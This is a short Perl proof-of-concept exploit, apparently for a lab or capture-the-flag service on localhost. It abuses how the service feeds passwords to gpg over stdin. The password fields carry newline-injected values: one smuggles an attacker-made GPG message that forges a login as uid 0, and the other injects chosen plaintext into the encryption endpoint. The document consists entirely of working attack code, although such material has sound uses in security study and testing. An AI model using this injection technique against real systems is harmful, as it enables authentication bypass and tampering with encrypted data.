README.md
Rendering markdown...
#!/usr/bin/env perl
use strict;
use Mojo::UserAgent;
use IPC::Open2;
sub post {
my ($endpoint, %parameters) = @_;
my $ua = new Mojo::UserAgent;
my $res = $ua->post("http://localhost:5000/$endpoint" => form => {%parameters})->result;
return $res->body;
}
my $gpg_cmd = q(/usr/bin/env gpg --pinentry-mode loopback --status-fd 2 --no-tty --no-verbose --fixed-list-mode --batch --with-colons --homedir /tmp/gpg --passphrase-fd 0);
my $msg = qx(echo "boom\n{\\"uid\\":0}" | $gpg_cmd --symmetric --armor);
# decrypt vulnerability
my $decrypted = post('login', username => "harmless_user", password=>"boom\n$msg");
warn "/login output: $decrypted\n";
# encrypt vulnerability
my $encrypted = post('encryption_as_a_service', password => "s3cret\nOh yes I can change it");
my($chld_out, $chld_in);
my $pid = open2(my $gpg_out, my $gpg_in, qq($gpg_cmd -d));
print $gpg_in "s3cret\n$encrypted";
close($gpg_in);
my $plaintext = <$gpg_out>;
close($gpg_out);
waitpid( $pid, 0 );
warn "/encryption_as_a_service output: $plaintext\n";